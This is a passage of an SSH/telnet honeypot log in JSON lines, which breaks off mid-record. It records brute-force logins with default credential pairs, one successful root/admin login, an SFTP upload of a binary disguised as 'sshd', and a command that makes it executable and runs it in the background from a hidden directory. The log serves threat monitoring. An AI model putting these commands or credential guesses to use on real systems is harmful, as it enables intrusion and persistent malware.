{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:03.717252Z","src_ip":"144.31.152.46","session":"b6b089b6c873","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.31.152.46","src_port":51562,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3a08ce3b361","protocol":"ssh","message":"New connection: 144.31.152.46:51562 (159.203.135.109:22) [session: a3a08ce3b361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:03.839572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:03.845682Z","src_ip":"144.31.152.46","session":"a3a08ce3b361","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:03.987460Z","src_ip":"144.31.152.46","session":"a3a08ce3b361","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:04.380207Z","src_ip":"144.31.152.46","session":"a3a08ce3b361","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00254321098328,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:05.021134Z","src_ip":"129.232.238.42","session":"33e2ed38c46a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:05.510737Z","src_ip":"144.31.152.46","session":"a3a08ce3b361","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.31.152.46","src_port":52198,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a2f3cc1785a","protocol":"ssh","message":"New connection: 144.31.152.46:52198 (159.203.135.109:22) [session: 8a2f3cc1785a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:05.632453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:05.638060Z","src_ip":"144.31.152.46","session":"8a2f3cc1785a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:05.765482Z","src_ip":"144.31.152.46","session":"8a2f3cc1785a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:06.154239Z","src_ip":"144.31.152.46","session":"8a2f3cc1785a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:07.281161Z","src_ip":"144.31.152.46","session":"8a2f3cc1785a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.31.152.46","src_port":52206,"dst_ip":"159.203.135.109","dst_port":22,"session":"10191ea66582","protocol":"ssh","message":"New connection: 144.31.152.46:52206 (159.203.135.109:22) [session: 10191ea66582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:07.416659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:07.422063Z","src_ip":"144.31.152.46","session":"10191ea66582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:07.564103Z","src_ip":"144.31.152.46","session":"10191ea66582","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:07.974289Z","src_ip":"144.31.152.46","session":"10191ea66582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":36084,"dst_ip":"10.17.0.5","dst_port":22,"session":"3de800d67eaf","protocol":"ssh","message":"New connection: 98.70.48.241:36084 (10.17.0.5:22) [session: 3de800d67eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:12.698183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:12.703120Z","src_ip":"98.70.48.241","session":"3de800d67eaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:12.893065Z","src_ip":"98.70.48.241","session":"3de800d67eaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webadmin","password":"123","message":"login attempt [webadmin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:13.682062Z","src_ip":"98.70.48.241","session":"3de800d67eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:14.874855Z","src_ip":"98.70.48.241","session":"3de800d67eaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.7","src_port":42216,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c4c4821be48","protocol":"ssh","message":"New connection: 176.65.132.7:42216 (10.17.0.5:22) [session: 7c4c4821be48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:45:10.615927Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:45:10.621409Z","src_ip":"176.65.132.7","session":"7c4c4821be48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.7","src_port":42224,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ad18db29382","protocol":"ssh","message":"New connection: 176.65.132.7:42224 (10.17.0.5:22) [session: 7ad18db29382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:45:10.800354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:45:10.806008Z","src_ip":"176.65.132.7","session":"7ad18db29382","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:45:10.892438Z","src_ip":"176.65.132.7","session":"7ad18db29382","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tunnel","password":"tunnel","message":"login attempt [tunnel/tunnel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:45:11.067148Z","src_ip":"176.65.132.7","session":"7ad18db29382","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":45474,"dst_ip":"10.17.0.5","dst_port":22,"session":"62efb0fe32c2","protocol":"ssh","message":"New connection: 98.70.48.241:45474 (10.17.0.5:22) [session: 62efb0fe32c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:45:11.980462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:45:11.986547Z","src_ip":"98.70.48.241","session":"62efb0fe32c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:45:12.159740Z","src_ip":"176.65.132.7","session":"7ad18db29382","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:45:12.176306Z","src_ip":"98.70.48.241","session":"62efb0fe32c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456wW","message":"login attempt [ubuntu/123456wW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:45:12.961978Z","src_ip":"98.70.48.241","session":"62efb0fe32c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:45:14.154164Z","src_ip":"98.70.48.241","session":"62efb0fe32c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":58400,"dst_ip":"10.17.0.5","dst_port":22,"session":"212e250e9796","protocol":"ssh","message":"New connection: 98.70.48.241:58400 (10.17.0.5:22) [session: 212e250e9796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:46:11.851460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:46:11.858692Z","src_ip":"98.70.48.241","session":"212e250e9796","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:46:12.048661Z","src_ip":"98.70.48.241","session":"212e250e9796","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"purple","message":"login attempt [admin/purple] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:46:12.838083Z","src_ip":"98.70.48.241","session":"212e250e9796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:46:14.031087Z","src_ip":"98.70.48.241","session":"212e250e9796","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","shasum":"94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:47:07.521551Z","src_ip":"144.31.152.46","session":"10191ea66582","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:47:07.993741Z","src_ip":"144.31.152.46","session":"10191ea66582","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod +x ./.5897784596145246494/sshd;nohup ./.5897784596145246494/sshd  &","message":"CMD: chmod +x ./.5897784596145246494/sshd;nohup ./.5897784596145246494/sshd  &","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:47:07.997462Z","src_ip":"144.31.152.46","session":"10191ea66582","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/d5bf486a55a0b9792e018a0b57801b38da0ea7aa8e5bec02b315039e96bcd947","size":136,"shasum":"d5bf486a55a0b9792e018a0b57801b38da0ea7aa8e5bec02b315039e96bcd947","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/d5bf486a55a0b9792e018a0b57801b38da0ea7aa8e5bec02b315039e96bcd947 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:47:08.140064Z","src_ip":"144.31.152.46","session":"10191ea66582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"180.7","message":"Connection lost after 180.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:47:08.147222Z","src_ip":"144.31.152.46","session":"10191ea66582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":36820,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7c6576f926d","protocol":"ssh","message":"New connection: 103.15.226.202:36820 (10.17.0.5:22) [session: f7c6576f926d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:47:33.122543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:47:33.128253Z","src_ip":"103.15.226.202","session":"f7c6576f926d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 